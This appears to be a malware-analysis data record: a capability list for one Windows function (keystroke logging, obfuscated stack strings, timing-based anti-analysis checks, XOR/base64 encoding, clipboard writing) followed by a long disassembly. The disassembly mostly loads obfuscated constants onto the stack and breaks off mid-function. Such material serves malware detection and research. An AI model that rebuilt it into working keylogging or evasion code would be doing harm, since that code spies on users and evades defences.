Function at 0x140003060
Capabilities:
Authenticate hmac
Check for time delay via queryperformancecounter
Check for unexpected memory writes
Check mutex on windows
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get file size
Get system information on windows
Hash data using fnv
Log keystrokes via polling
Parse pe header
Write clipboard data

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1bf98
call fcn.14015c590
sub rsp, rax
mov rax, qword [0x1401e05c0]
xor rax, rsp
mov qword [rsp + 0x1bf80], rax
movabs rax, 0x73f63c85cbffab
mov qword [rsp + 0x89b8], rax
mov dword [rsp + 0x4620], 0x493a
mov eax, 0xd90
mov word [rsp + 0xac0], ax
mov dword [rsp + 0x4624], 0xebb7
mov byte [rsp + 0x50], 0x11
mov dword [rsp + 0x4628], 0x5067
mov eax, 0x301
mov word [rsp + 0xac4], ax
movabs rax, 0x78caeaf492bac8
mov qword [rsp + 0x89c0], rax
movabs rax, 0x79b71a00c0308d
mov qword [rsp + 0x89c8], rax
mov dword [rsp + 0x462c], 0x45e8
mov eax, 0xf6b
mov word [rsp + 0xac8], ax
movabs rax, 0x7dfdbee0b4512c
mov qword [rsp + 0x89d0], rax
mov byte [rsp + 0x51], 0x7a
movabs rax, 0x7a294128db0d43
mov qword [rsp + 0x89d8], rax
movabs rax, 0x731746dfe89aef
mov qword [rsp + 0x89e0], rax
mov eax, 0x425
mov word [rsp + 0xacc], ax
mov dword [rsp + 0x4630], 0x1962
mov eax, 0x164
mov word [rsp + 0xad0], ax
movabs rax, 0x70662f415ba737
mov qword [rsp + 0x89e8], rax
mov eax, 0x65b
mov word [rsp + 0xad4], ax
movabs rax, 0x7d2370f2aa687e
mov qword [rsp + 0x89f0], rax
mov byte [rsp + 0x52], 0x44
mov dword [rsp + 0x4634], 0x5d47
mov byte [rsp + 0x53], 0xc
movabs rax, 0x7ac8cac02091e9
mov qword [rsp + 0x89f8], rax
mov byte [rsp + 0x54], 0x1d
mov eax, 0x78a
mov word [rsp + 0xad8], ax
mov byte [rsp + 0x55], 0x95
mov byte [rsp + 0x56], 0xdf
movabs rax, 0x72a8686a41f970
mov qword [rsp + 0x8a00], rax
mov dword [rsp + 0x4638], 0x7fa1
mov eax, 0x1f3
mov word [rsp + 0xadc], ax
mov eax, 0x516
mov word [rsp + 0xae0], ax
mov eax, 0x7fb
mov word [rsp + 0xae4], ax
movabs rax, 0x726de4385480a1
mov qword [rsp + 0x8a08], rax
movabs rax, 0x74806bd88b8d76
mov qword [rsp + 0x8a10], rax
movabs rax, 0x7dd24cfc8650c6
mov qword [rsp + 0x8a18], rax
movabs rax, 0x77b3b5e12e0255
mov qword [rsp + 0x8a20], rax
mov byte [rsp + 0x57], 0xba
mov dword [rsp + 0x463c], 0x4771
mov eax, 0x7e7
mov word [rsp + 0xae8], ax
mov dword [rsp + 0x4640], 0x6008
mov eax, 0x396
mov word [rsp + 0xaec], ax
mov byte [rsp + 0x58], 3
mov dword [rsp + 0x4644], 0xb92e
mov byte [rsp + 0x59], 0x91
mov byte [rsp + 0x5a], 0x6c
mov eax, 0x6fe
mov word [rsp + 0xaf0], ax
mov dword [rsp + 0x4648], 0x4e31
movabs rax, 0x71fdc430323c8a
mov qword [rsp + 0x8a28], rax
mov dword [rsp + 0x464c], 0x80ba
mov dword [rsp + 0x4650], 0xc720
movabs rax, 0x783d96bdf871cc
mov qword [rsp + 0x8a30], rax
mov dword [rsp + 0x4654], 0x52c3
mov dword [rsp + 0x4658], 0xe12e
mov dword [rsp + 0x465c], 0x3a7a
movabs rax, 0x73918a7b35144f
mov qword [rsp + 0x8a38], rax
mov dword [rsp + 0x4660], 0x66b4
movabs rax, 0x79ab0772388f39
mov qword [rsp + 0x8a40], rax
mov dword [rsp + 0x4664], 0x6cb
mov byte [rsp + 0x5b], 0xac
mov eax, 0x2d3
mov word [rsp + 0xaf4], ax
mov dword [rsp + 0x4668], 0x127a
movabs rax, 0x772de843dee37b
mov qword [rsp + 0x8a48], rax
movabs rax, 0x7ce27b7905b652
mov qword [rsp + 0x8a50], rax
movabs rax, 0x7ef2ca0084063a
mov qword [rsp + 0x8a58], rax
mov eax, 0x2ae
mov word [rsp + 0xaf8], ax
mov dword [rsp + 0x466c], 0xff1a
movabs rax, 0x7e9e162df45e87
mov qword [rsp + 0x8a60], rax
mov eax, 0x321
mov word [rsp + 0xafc], ax
mov dword [rsp + 0x4670], 0x434a
movabs rax, 0x783c4074eb423d
mov qword [rsp + 0x8a68], rax
mov dword [rsp + 0x4674], 0x7461
mov byte [rsp + 0x5c], 0xbf
mov eax, 0x25c
mov word [rsp + 0xb00], ax
movabs rax, 0x786ba00ea8951a
mov qword [rsp + 0x8a70], rax
mov dword [rsp + 0x4678], 0x7195
mov dword [rsp + 0x467c], 0x2304
mov byte [rsp + 0x5d], 0x7b
movabs rax, 0x7d146ee34c1229
mov qword [rsp + 0x8a78], rax
movabs rax, 0x70572e36dd1450
mov qword [rsp + 0x8a80], rax
mov byte [rsp + 0x5e], 0xf0
mov eax, 0xaa8
mov word [rsp + 0xb04], ax
mov dword [rsp + 0x4680], 0x6ac6
movabs rax, 0x7056afcee3d0c5
mov qword [rsp + 0x8a88], rax
movabs rax, 0x730814a102365d
mov qword [rsp + 0x8a90], rax
mov dword [rsp + 0x4684], 0x7984
mov dword [rsp + 0x4688], 0xb74
mov eax, 0x6dd
mov word [rsp + 0xb08], ax
mov eax, 0x718
mov word [rsp + 0xb0c], ax
movabs rax, 0x7ead94acc1b660
mov qword [rsp + 0x8a98], rax
movabs rax, 0x79cd6269db7dfb
mov qword [rsp + 0x8aa0], rax
mov eax, 0x8e0
mov word [rsp + 0xb10], ax
mov dword [rsp + 0x468c], 0x4030
movabs rax, 0x7b16bcc59dd134
mov qword [rsp + 0x8aa8], rax
movabs rax, 0x75c4a69aa1449b
mov qword [rsp + 0x8ab0], rax
mov eax, 0x7c9
mov word [rsp + 0xb14], ax
mov byte [rsp + 0x5f], 9
mov eax, 0xd81
mov word [rsp + 0xb18], ax
mov dword [rsp + 0x4690], 0x2f92
mov eax, 0x78e
mov word [rsp + 0xb1c], ax
movabs rax, 0x775e386674304e
mov qword [rsp + 0x8ab8], rax
mov dword [rsp + 0x4694], 0x91f4
mov dword [rsp + 0x4698], 0x4817
movabs rax, 0x70d87d13fffb48
mov qword [rsp + 0x8ac0], rax
movabs rax, 0x7ea0335b0d9a18
mov qword [rsp + 0x8ac8], rax
mov eax, 0xe85
mov word [rsp + 0xb20], ax
mov dword [rsp + 0x469c], 0xe5f6
mov dword [rsp + 0x46a0], 0x63cf
mov byte [rsp + 0x60], 0x19
mov byte [rsp + 0x61], 0x72
mov dword [rsp + 0x46a4], 0x55f2
mov byte [rsp + 0x62], 0x30
mov dword [rsp + 0x46a8], 0x173f
movabs rax, 0x73e114cf06dc53
mov qword [rsp + 0x8ad0], rax
mov byte [rsp + 0x63], 0x3c
mov byte [rsp + 0x64], 0x80
mov byte [rsp + 0x65], 0x30
mov eax, 0xa1f
mov word [rsp + 0xb24], ax
mov eax, 0xdd8
mov word [rsp + 0xb28], ax
movabs rax, 0x739393225faa4a
mov qword [rsp + 0x8ad8], rax
mov dword [rsp + 0x46ac], 0x210e
mov eax, 0x31c
mov word [rsp + 0xb2c], ax
mov eax, 0x796
mov word [rsp + 0xb30], ax
movabs rax, 0x76a1fab59d9bbe
mov qword [rsp + 0x8ae0], rax
mov eax, 0x3d1
mov word [rsp + 0xb34], ax
mov dword [rsp + 0x46b0], 0x1651
movabs rax, 0x710476cbc6a394
mov qword [rsp + 0x8ae8], rax
mov dword [rsp + 0x46b4], 0x40a
mov byte [rsp + 0x66], 0x32
mov eax, 0xa4d
mov word [rsp + 0xb38], ax
movabs rax, 0x75c9030c81427d
mov qword [rsp + 0x8af0], rax
mov eax, 0x19
mov word [rsp + 0xb3c], ax
mov byte [rsp + 0x67], 0x92
mov eax, 0x67a
mov word [rsp + 0xb40], ax
mov eax, 0x106
mov word [rsp + 0xb44], ax
movabs rax, 0x7c058366da9bc5
mov qword [rsp + 0x8af8], rax
movabs rax, 0x78446c29532726
mov qword [rsp + 0x8b00], rax
mov dword [rsp + 0x46b8], 0x2359
movabs rax, 0x71e44184e31f25
mov qword [rsp + 0x8b08], rax
mov eax, 0x47
mov word [rsp + 0xb48], ax
mov byte [rsp + 0x68], 0x4e
mov byte [rsp + 0x69], 0x5a
mov dword [rsp + 0x46bc], 0x700d
movabs rax, 0x75deac4b4636eb
mov qword [rsp + 0x8b10], rax
mov dword [rsp + 0x46c0], 0x197a
mov eax, 0xfaa
mov word [rsp + 0xb4c], ax
mov byte [rsp + 0x6a], 0x23
movabs rax, 0x7729df1925369c
mov qword [rsp + 0x8b18], rax
mov byte [rsp + 0x6b], 0x4d
mov eax, 0x545
mov word [rsp + 0xb50], ax
movabs rax, 0x74efb4602d2e85
mov qword [rsp + 0x8b20], rax
movabs rax, 0x798336007badec
mov qword [rsp + 0x8b28], rax
mov byte [rsp + 0x6c], 0x8e
mov dword [rsp + 0x46c4], 0xf1a5
mov eax, 0x3ad
mov word [rsp + 0xb54], ax
mov eax, 0x1b0
mov word [rsp + 0xb58], ax
movabs rax, 0x7ea8db5433f01e
mov qword [rsp + 0x8b30], rax
mov dword [rsp + 0x46c8], 0xd429
movabs rax, 0x732e4f119ea6a9
mov qword [rsp + 0x8b38], rax
mov eax, 0x687
mov word [rsp + 0xb5c], ax
mov byte [rsp + 0x6d], 0x22
mov eax, 0x6f0
mov word [rsp + 0xb60], ax
mov dword [rsp + 0x46cc], 0x7ee1
mov dword [rsp + 0x46d0], 0x7b90
mov dword [rsp + 0x46d4], 0xdad5
mov eax, 0x16b
mov word [rsp + 0xb64], ax
movabs rax, 0x710d96340d67eb
mov qword [rsp + 0x8b40], rax
mov eax, 0xd18
mov word [rsp + 0xb68], ax
mov dword [rsp + 0x46d8], 0x90f3
mov dword [rsp + 0x46dc], 0x6b26
movabs rax, 0x72f15d01b8fc10
mov qword [rsp + 0x8b48], rax
mov byte [rsp + 0x6e], 0xb3
mov dword [rsp + 0x46e0], 0x4143
movabs rax, 0x7d57f49f82f1a7
mov qword [rsp + 0x8b50], rax
movabs rax, 0x744859267623a9
mov qword [rsp + 0x8b58], rax
mov eax, 0x39f
mov word [rsp + 0xb6c], ax
mov dword [rsp + 0x46e4], 0xf1dc
mov eax, 0x231
mov word [rsp + 0xb70], ax
movabs rax, 0x71fd9125bfe4ea
mov qword [rsp + 0x8b60], rax
movabs rax, 0x7d7ff477e89dbb
mov qword [rsp + 0x8b68], rax
mov eax, 0xa56
mov word [rsp + 0xb74], ax
mov byte [rsp + 0x6f], 0x33
mov eax, 0x56b
mov word [rsp + 0xb78], ax
mov byte [rsp + 0x70], 0x6d
mov byte [rsp + 0x71], 0x7e
mov dword [rsp + 0x46e8], 0xeadb
mov eax, 0x5bd
mov word [rsp + 0xb7c], ax
mov dword [rsp + 0x46ec], 0x23f8
mov eax, 0x765
mov word [rsp + 0xb80], ax
mov byte [rsp + 0x72], 0xfb
mov byte [rsp + 0x73], 0xb2
mov byte [rsp + 0x74], 0x62
mov byte [rsp + 0x75], 0xfe
mov eax, 0x7dd
mov word [rsp + 0xb84], ax
mov dword [rsp + 0x46f0], 0x46b5
mov byte [rsp + 0x76], 0xc1
mov eax, 0x4e6
mov word [rsp + 0xb88], ax
movabs rax, 0x731044e49f81c4
mov qword [rsp + 0x8b70], rax
mov eax, 0xd25
mov word [rsp + 0xb8c], ax
mov eax, 0x468
mov word [rsp + 0xb90], ax
mov eax, 0x28d
mov word [rsp + 0xb94], ax
mov dword [rsp + 0x46f4], 0xc590
mov eax, 0xb7e
mov word [rsp + 0xb98], ax
mov dword [rsp + 0x46f8], 0x17d7
mov eax, 0x4d3
mov word [rsp + 0xb9c], ax
mov byte [rsp + 0x77], 0xb2
mov byte [rsp + 0x78], 0x6a
movabs rax, 0x712308ba51367d
mov qword [rsp + 0x8b78], rax
mov dword [rsp + 0x46fc], 0x96fd
mov eax, 0x6cd
mov word [rsp + 0xba0], ax
mov dword [rsp + 0x4700], 0xb6e
movabs rax, 0x75ae3d3e913f91
mov qword [rsp + 0x8b80], rax
mov byte [rsp + 0x79], 0xfd
mov eax, 0xe93
mov word [rsp + 0xba4], ax
mov byte [rsp + 0x7a], 0x76
mov dword [rsp + 0x4704], 0x139
mov dword [rsp + 0x4708], 0x72da
mov dword [rsp + 0x470c], 0x387e
mov eax, 0x336
mov word [rsp + 0xba8], ax
movabs rax, 0x74da9615299084
mov qword [rsp + 0x8b88], rax
mov eax, 0xae9
mov word [rsp + 0xbac], ax
mov byte [rsp + 0x7b], 0xe1
movabs rax, 0x73d5ce765d08a7
mov qword [rsp + 0x8b90], rax
movabs rax, 0x7852f2e1920d00
mov qword [rsp + 0x8b98], rax
mov dword [rsp + 0x4710], 0x5766
mov eax, 0x3ee
mov word [rsp + 0xbb0], ax
mov eax, 0xca0
mov word [rsp + 0xbb4], ax
movabs rax, 0x7e1ecc6c2c4f7e
mov qword [rsp + 0x8ba0], rax
mov byte [rsp + 0x7c], 0x76
mov dword [rsp + 0x4714], 0xbbc3
movabs rax, 0x7c0eebce93b5e8
mov qword [rsp + 0x8ba8], rax
movabs rax, 0x7065e3ae215a6c
mov qword [rsp + 0x8bb0], rax
mov dword [rsp + 0x4718], 0x775b
mov eax, 0x689
mov word [rsp + 0xbb8], ax
mov eax, 0xbfd
mov word [rsp + 0xbbc], ax
mov byte [rsp + 0x7d], 0x21
movabs rax, 0x7c0cf8812421bc
mov qword [rsp + 0x8bb8], rax
mov eax, 0x72d
mov word [rsp + 0xbc0], ax
mov byte [rsp + 0x7e], 2
mov eax, 0xf54
mov word [rsp + 0xbc4], ax
mov byte [rsp + 0x7f], 0x4c
mov dword [rsp + 0x471c], 0x8525
mov dword [rsp + 0x4720], 0x6eae
movabs rax, 0x731a241d56e079
mov qword [rsp + 0x8bc0], rax
mov eax, 0x93
mov word [rsp + 0xbc8], ax
mov eax, 0x1db
mov word [rsp + 0xbcc], ax
mov eax, 0x18d
mov word [rsp + 0xbd0], ax
movabs rax, 0x708f7e069d90bc
mov qword [rsp + 0x8bc8], rax
mov eax, 0x7a6
mov word [rsp + 0xbd4], ax
movabs rax, 0x7bb3edc1a813f8
mov qword [rsp + 0x8bd0], rax
movabs rax, 0x7011db92ae0a5a
mov qword [rsp + 0x8bd8], rax
mov eax, 0x6c8
mov word [rsp + 0xbd8], ax
mov dword [rsp + 0x4724], 0x455b
mov dword [rsp + 0x4728], 0x2028
mov dword [rsp + 0x472c], 0x5d1b
movabs rax, 0x7a862cd3c5c730
mov qword [rsp + 0x8be0], rax
mov dword [rsp + 0x4730], 0x1fbe
mov byte [rsp + 0x80], 0xcd
movabs rax, 0x79ecbff92217a0
mov qword [rsp + 0x8be8], rax
movabs rax, 0x70585a8c46ad87
mov qword [rsp + 0x8bf0], rax
mov byte [rsp + 0x81], 0xa1
movabs rax, 0x7ea0bb2c39bfaf
mov qword [rsp + 0x8bf8], rax
movabs rax, 0x749e1df4bfa0ae
mov qword [rsp + 0x8c00], rax
mov eax, 0x7ab
mov word [rsp + 0xbdc], ax
mov dword [rsp + 0x4734], 0x6bba
movabs rax, 0x705ad5a5be5197
mov qword [rsp + 0x8c08], rax
mov eax, 0xb6c
mov word [rsp + 0xbe0], ax
mov byte [rsp + 0x82], 0x33
movabs rax, 0x78a0fc958bc797
mov qword [rsp + 0x8c10], rax
mov byte [rsp + 0x83], 0x1f
movabs rax, 0x7c82184941d5c7
mov qword [rsp + 0x8c18], rax
mov byte [rsp + 0x84], 0x32
movabs rax, 0x76c9062c3cf0ea
mov qword [rsp + 0x8c20], rax
movabs rax, 0x73c01478f3bdd5
mov qword [rsp + 0x8c28], rax
mov byte [rsp + 0x85], 0x36
mov eax, 0x96
mov word [rsp + 0xbe4], ax
mov byte [rsp + 0x86], 0x97
mov dword [rsp + 0x4738], 0x1bd9
mov dword [rsp + 0x473c], 0xd76f
mov eax, 0x4f
mov word [rsp + 0xbe8], ax
mov dword [rsp + 0x4740], 0x338e
mov eax, 0x742
mov word [rsp + 0xbec], ax
mov byte [rsp + 0x87], 0x2d
movabs rax, 0x72287cb1d5dd37
mov qword [rsp + 0x8c30], rax
mov dword [rsp + 0x4744], 0x2d2b
mov byte [rsp + 0x88], 0x4e
mov eax, 0x27e
mov word [rsp + 0xbf0], ax
mov dword [rsp + 0x4748], 0xfab
mov dword [rsp + 0x474c], 0xc6b9
mov eax, 0x5d6
mov word [rsp + 0xbf4], ax
mov eax, 0x371
mov word [rsp + 0xbf8], ax
mov byte [rsp + 0x89], 0xf0
movabs rax, 0x7a3c3daee9af4a
mov qword [rsp + 0x8c38], rax
mov eax, 0xfc5
mov word [rsp + 0xbfc], ax
mov byte [rsp + 0x8a], 0x5f
movabs rax, 0x72e989c9f4be26
mov qword [rsp + 0x8c40], rax
movabs rax, 0x7330bc3c07975c
mov qword [rsp + 0x8c48], rax
mov eax, 0x1a8
mov word [rsp + 0xc00], ax
mov eax, 0xb1c
mov word [rsp + 0xc04], ax
movabs rax, 0x70c38886b0fd97
mov qword [rsp + 0x8c50], rax
mov eax, 0xe58
mov word [rsp + 0xc08], ax
mov dword [rsp + 0x4750], 0xbc5a
mov dword [rsp + 0x4754], 0x1e57
movabs rax, 0x7eb2d1b5d5399e
mov qword [rsp + 0x8c58], rax
mov eax, 0x6e4
mov word [rsp + 0xc0c], ax
mov byte [rsp + 0x8b], 0x27
mov eax, 0x112
mov word [rsp + 0xc10], ax
mov dword [rsp + 0x4758], 0x3a68
mov eax, 0x79
mov word [rsp + 0xc14], ax
movabs rax, 0x78080066e35699
mov qword [rsp + 0x8c60], rax
mov eax, 0x71b
mov word [rsp + 0xc18], ax
movabs rax, 0x727105c093f21b
mov qword [rsp + 0x8c68], rax
mov byte [rsp + 0x8c], 0x11
mov eax, 0x79a
mov word [rsp + 0xc1c], ax
mov dword [rsp + 0x475c], 0x92ed
mov byte [rsp + 0x8d], 0x11
movabs rax, 0x77e50b9664eb31
mov qword [rsp + 0x8c70], rax
mov byte [rsp + 0x8e], 0x41
mov dword [rsp + 0x4760], 0xfa58
mov byte [rsp + 0x8f], 0x39
mov byte [rsp + 0x90], 0x4d
movabs rax, 0x75f4fc487f76a7
mov qword [rsp + 0x8c78], rax
mov dword [rsp + 0x4764], 0x2249
mov dword [rsp + 0x4768], 0x4cf3
movabs rax, 0x7c671e7b02778e
mov qword [rsp + 0x8c80], rax
movabs rax, 0x7b6ac01aac3885
mov qword [rsp + 0x8c88], rax
mov byte [rsp + 0x91], 0x57
mov byte [rsp + 0x92], 0x31
movabs rax, 0x73980a00302b66
mov qword [rsp + 0x8c90], rax
movabs rax, 0x7d54095a20b598
mov qword [rsp + 0x8c98], rax
movabs rax, 0x733b1108752e3c
mov qword [rsp + 0x8ca0], rax
mov eax, 0x9e0
mov word [rsp + 0xc20], ax
mov dword [rsp + 0x476c], 0x3908
mov eax, 0x6cb
mov word [rsp + 0xc24], ax
movabs rax, 0x7402106e6af495
mov qword [rsp + 0x8ca8], rax
mov byte [rsp + 0x93], 0x57
mov eax, 0x86
mov word [rsp + 0xc28], ax
mov eax, 0x1b3
mov word [rsp + 0xc2c], ax
mov eax, 0x6bf
mov word [rsp + 0xc30], ax
mov dword [rsp + 0x4770], 0x14f
movabs rax, 0x717920d719f758
mov qword [rsp + 0x8cb0], rax
mov byte [rsp + 0x94], 0xf5
mov eax, 0x9f6
mov word [rsp + 0xc34], ax
mov dword [rsp + 0x4774], 0x5419
movabs rax, 0x7ba947ac3b0065
mov qword [rsp + 0x8cb8], rax
mov eax, 0xcfa
mov word [rsp + 0xc38], ax
mov eax, 0x325
mov word [rsp + 0xc3c], ax
mov eax, 2
mov word [rsp + 0xc40], ax
movabs rax, 0x7d7882baa56aba
mov qword [rsp + 0x8cc0], rax
mov byte [rsp + 0x95], 0x38
mov dword [rsp + 0x4778], 0xcb35
movabs rax, 0x7aaa8f0b732a7d
mov qword [rsp + 0x8cc8], rax
movabs rax, 0x77761c5aa635ba
mov qword [rsp + 0x8cd0], rax
mov byte [rsp + 0x96], 0x12
movabs rax, 0x79784a1a044894
mov qword [rsp + 0x8cd8], rax
mov dword [rsp + 0x477c], 0x4ad
mov byte [rsp + 0x97], 0xcb
mov eax, 0x2aa
mov word [rsp + 0xc44], ax
mov dword [rsp + 0x4780], 0x2f4
mov dword [rsp + 0x4784], 0x2b24
movabs rax, 0x7c2112e2b5e63b
mov qword [rsp + 0x8ce0], rax
mov byte [rsp + 0x98], 0x51
mov byte [rsp + 0x99], 0x47
mov byte [rsp + 0x9a], 0x9a
mov eax, 0x3e9
mov word [rsp + 0xc48], ax
movabs rax, 0x7a8ae8c1106d54
mov qword [rsp + 0x8ce8], rax
movabs rax, 0x7e313e966675a1
mov qword [rsp + 0x8cf0], rax
movabs rax, 0x76a15e0c008f98
mov qword [rsp + 0x8cf8], rax
mov dword [rsp + 0x4788], 0xeac6
movabs rax, 0x7a3d61af420f25
mov qword [rsp + 0x8d00], rax
movabs rax, 0x7cc5ca5153e5c1
mov qword [rsp + 0x8d08], rax
movabs rax, 0x7e7100f29b205c
mov qword [rsp + 0x8d10], rax
mov byte [rsp + 0x9b], 0x7d
mov eax, 0x321
mov word [rsp + 0xc4c], ax
mov eax, 0xa48
mov word [rsp + 0xc50], ax
movabs rax, 0x724800fed5ce17
mov qword [rsp + 0x8d18], rax
mov byte [rsp + 0x9c], 0xd1
movabs rax, 0x7d81f1ec28b6b2
mov qword [rsp + 0x8d20], rax
mov byte [rsp + 0x9d], 0x2b
mov byte [rsp + 0x9e], 0x92
movabs rax, 0x77c438757645e2
mov qword [rsp + 0x8d28], rax
mov eax, 0x3c4
mov word [rsp + 0xc54], ax
mov dword [rsp + 0x478c], 0x3a62
movabs rax, 0x7d9e410f4640e0
mov qword [rsp + 0x8d30], rax
mov byte [rsp + 0x9f], 0xb0
mov dword [rsp + 0x4790], 0x4341
mov byte [rsp + 0xa0], 0xa
mov eax, 0x222
mov word [rsp + 0xc58], ax
movabs rax, 0x78ad61cf47402c
mov qword [rsp + 0x8d38], rax
mov dword [rsp + 0x4794], 0x4faf
mov dword [rsp + 0x4798], 0x6b71
mov eax, 0x343
mov word [rsp + 0xc5c], ax
mov eax, 0x12a
mov word [rsp + 0xc60], ax
mov dword [rsp + 0x479c], 0xa302
movabs rax, 0x72e75983dc8501
mov qword [rsp + 0x8d40], rax
mov dword [rsp + 0x47a0], 0x779d
mov dword [rsp + 0x47a4], 0xef7b
mov byte [rsp + 0xa1], 0x17
mov eax, 0x34d
mov word [rsp + 0xc64], ax
mov eax, 0x1ab
mov word [rsp + 0xc68], ax
mov byte [rsp + 0xa2], 0xf6
mov dword [rsp + 0x47a8], 0x7f22
mov eax, 0x4d8
mov word [rsp + 0xc6c], ax
movabs rax, 0x7c30b89dd35e1f
mov qword [rsp + 0x8d48], rax
movabs rax, 0x7943da69f36735
mov qword [rsp + 0x8d50], rax
mov dword [rsp + 0x47ac], 0x5332
mov byte [rsp + 0xa3], 0xd3
mov byte [rsp + 0xa4], 0xa8
mov byte [rsp + 0xa5], 0x5e
mov dword [rsp + 0x47b0], 0xd721
movabs rax, 0x7d0604e88de956
mov qword [rsp + 0x8d58], rax
mov dword [rsp + 0x47b4], 0x3296
movabs rax, 0x73e71f145a0e74
mov qword [rsp + 0x8d60], rax
mov eax, 0x24d
mov word [rsp + 0xc70], ax
mov eax, 0x600
mov word [rsp + 0xc74], ax
mov eax, 0x30c
mov word [rsp + 0xc78], ax
mov dword [rsp + 0x47b8], 0x5cef
mov eax, 0x994
mov word [rsp + 0xc7c], ax
mov byte [rsp + 0xa6], 1
mov eax, 0x303
mov word [rsp + 0xc80], ax
mov dword [rsp + 0x47bc], 0x71b7
mov byte [rsp + 0xa7], 0xa5
movabs rax, 0x72cf1d0c0f66b4
mov qword [rsp + 0x8d68], rax
movabs rax, 0x76b5d810d6e412
mov qword [rsp + 0x8d70], rax
mov eax, 0x73a
mov word [rsp + 0xc84], ax
mov dword [rsp + 0x47c0], 0x3754
mov eax, 0x94
mov word [rsp + 0xc88], ax
mov byte [rsp + 0xa8], 0xca
movabs rax, 0x70c4c4391e04b1
mov qword [rsp + 0x8d78], rax
mov dword [rsp + 0x47c4], 0x50aa
movabs rax, 0x7827950eee1b9d
mov qword [rsp + 0x8d80], rax
mov dword [rsp + 0x47c8], 0xc4ab
mov dword [rsp + 0x47cc], 0xd1d1
mov dword [rsp + 0x47d0], 0xbcc6
mov dword [rsp + 0x47d4], 0x6b96
mov eax, 0x117
mov word [rsp + 0xc8c], ax
movabs rax, 0x76e5cdde6639ea
mov qword [rsp + 0x8d88], rax
mov byte [rsp + 0xa9], 0x21
movabs rax, 0x762656ee02778f
mov qword [rsp + 0x8d90], rax
mov eax, 0x7a9
mov word [rsp + 0xc90], ax
mov eax, 0x4d
mov word [rsp + 0xc94], ax
mov byte [rsp + 0xaa], 0x4e
mov dword [rsp + 0x47d8], 0x39b3
mov byte [rsp + 0xab], 0xe
mov dword [rsp + 0x47dc], 0x96df
mov eax, 0xf57
mov word [rsp + 0xc98], ax
mov byte [rsp + 0xac], 0xef
mov dword [rsp + 0x47e0], 0x5ae7
mov dword [rsp + 0x47e4], 0x92e3
mov dword [rsp + 0x47e8], 0x95f3
mov dword [rsp + 0x47ec], 0xbde6
movabs rax, 0x754756a62bb567
mov qword [rsp + 0x8d98], rax
mov eax, 0xc07
mov word [rsp + 0xc9c], ax
mov dword [rsp + 0x47f0], 0xcb39
mov eax, 0x22b
mov word [rsp + 0xca0], ax
movabs rax, 0x74c0dfb2dd50ff
mov qword [rsp + 0x8da0], rax
mov dword [rsp + 0x47f4], 0x4021
movabs rax, 0x7059ceb64e7573
mov qword [rsp + 0x8da8], rax
mov eax, 0x307
mov word [rsp + 0xca4], ax
mov byte [rsp + 0xad], 0xa4
movabs rax, 0x759edf2882e8f5
mov qword [rsp + 0x8db0], rax
mov eax, 0x1ec
mov word [rsp + 0xca8], ax
mov eax, 0x3b3
mov word [rsp + 0xcac], ax
movabs rax, 0x71f4092273bf65
mov qword [rsp + 0x8db8], rax
mov dword [rsp + 0x47f8], 0x3c76
mov byte [rsp + 0xae], 0x74
movabs rax, 0x7e3337a94ba27d
mov qword [rsp + 0x8dc0], rax
movabs rax, 0x7e87a88bf6869d
mov qword [rsp + 0x8dc8], rax
mov dword [rsp + 0x47fc], 0x42ba
movabs rax, 0x7a6aa53543cc68
mov qword [rsp + 0x8dd0], rax
mov dword [rsp + 0x4800], 0x6676
movabs rax, 0x7edd45287a7b46
mov qword [rsp + 0x8dd8], rax
mov byte [rsp + 0xaf], 0x57
movabs rax, 0x7676b9e05e4721
mov qword [rsp + 0x8de0], rax
mov byte [rsp + 0xb0], 2
movabs rax, 0x7735cab003f126
mov qword [rsp + 0x8de8], rax
movabs rax, 0x70279baad434bf
mov qword [rsp + 0x8df0], rax
movabs rax, 0x70d522077bd86b
mov qword [rsp + 0x8df8], rax
mov eax, 0x593
mov word [rsp + 0xcb0], ax
mov dword [rsp + 0x4804], 0x45a0
movabs rax, 0x7b62ee99594cfa
mov qword [rsp + 0x8e00], rax
movabs rax, 0x734fd00734e903
mov qword [rsp + 0x8e08], rax
mov dword [rsp + 0x4808], 0x4a2c
mov eax, 0x537
mov word [rsp + 0xcb4], ax
movabs rax, 0x765e0549ef15b8
mov qword [rsp + 0x8e10], rax
movabs rax, 0x7602da995607d5
mov qword [rsp + 0x8e18], rax
mov byte [rsp + 0xb1], 0x1c
movabs rax, 0x79ea5aa3c9f514
mov qword [rsp + 0x8e20], rax
mov eax, 0x23a
mov word [rsp + 0xcb8], ax
mov eax, 0x752
mov word [rsp + 0xcbc], ax
movabs rax, 0x7551486b5e7212
mov qword [rsp + 0x8e28], rax
mov dword [rsp + 0x480c], 0x78f4
mov dword [rsp + 0x4810], 0xdba0
mov eax, 0x5cd
mov word [rsp + 0xcc0], ax
mov dword [rsp + 0x4814], 0x1c0b
mov dword [rsp + 0x4818], 0x2229
mov dword [rsp + 0x481c], 0x977c
mov eax, 0xa85
mov word [rsp + 0xcc4], ax
mov dword [rsp + 0x4820], 0x7f31
mov eax, 0x2e6
mov word [rsp + 0xcc8], ax
mov dword [rsp + 0x4824], 0xfd3b
movabs rax, 0x72c241705a860f
mov qword [rsp + 0x8e30], rax
mov dword [rsp + 0x4828], 0xe43d
mov eax, 0x34d
mov word [rsp + 0xccc], ax
mov eax, 0x829
mov word [rsp + 0xcd0], ax
mov eax, 0xa5f
mov word [rsp + 0xcd4], ax
mov dword [rsp + 0x482c], 0xf242
movabs rax, 0x744d0714299d08
mov qword [rsp + 0x8e38], rax
movabs rax, 0x791fb999e31a4b
mov qword [rsp + 0x8e40], rax
movabs rax, 0x75706fefd0f474
mov qword [rsp + 0x8e48], rax
movabs rax, 0x7080e7f057e46e
mov qword [rsp + 0x8e50], rax
mov dword [rsp + 0x4830], 0x5f7e
movabs rax, 0x760821b45bb0a6
mov qword [rsp + 0x8e58], rax
movabs rax, 0x781313b535c0b2
mov qword [rsp + 0x8e60], rax
mov eax, 0x753
mov word [rsp + 0xcd8], ax
movabs rax, 0x751230df0198ae
mov qword [rsp + 0x8e68], rax
mov dword [rsp + 0x4834], 0x6398
mov dword [rsp + 0x4838], 0x567f
mov eax, 0x68c
mov word [rsp + 0xcdc], ax
mov dword [rsp + 0x483c], 0xfa61
mov dword [rsp + 0x4840], 0x8545
movabs rax, 0x795c522db46ff8
mov qword [rsp + 0x8e70], rax
movabs rax, 0x7290918327d086
mov qword [rsp + 0x8e78], rax
